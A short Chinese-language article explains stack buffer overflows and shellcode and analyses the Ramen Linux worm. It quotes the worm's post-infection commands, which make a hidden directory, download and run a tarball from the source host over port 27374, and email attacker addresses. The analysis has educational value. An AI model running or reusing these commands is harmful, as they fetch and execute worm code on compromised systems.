前一段时间一些媒体报告:“世界上第一个Linux病毒——reman已经出现”。这引起了我们极大的兴趣,想一睹reman的庐山真面目。但是,当我们得到该病毒的有关资料和样本之后发现,严格地说,reman并不能被称为病毒。实际上这是一个古老的,在UNIX/Linux世界早已存在的“缓冲区溢出”攻击程序。几乎所有UNIX/Linux版本中都或多或少地存在这样的问题。第一次此种类型的攻击(morris worm),到现在已经十多年了,并不是等到现在才“出现”的。事实上针对windows 98/NT的缓冲区溢出攻击也是很常见的。
缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数反回地址也会被覆盖从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下系统一般报告:“core dump”或“segment fault”。严重的是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是:“/bin/sh”,所以这段代码被称为:“shell code”。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样机器的控制权已经易手,此后发生的任何事情都是合理的。
下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2来讲,如果攻击成功,它会做以下工作:
mkdir /usr/src/.poop;cd /usr/src/.poop
export TERM=vt100
lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz
cp ramen.tgz /tmp
gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh
echo Eat Your Ramen! | mail -s TOADDR -c gb31337@hotmail.com gb31337@yahoo.com
很明显,reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击,黑客网站对各类系统的漏洞的发布几乎每日更新。但是这种攻击方式并不是不可避免,目前已有很多对付该类攻击的方案。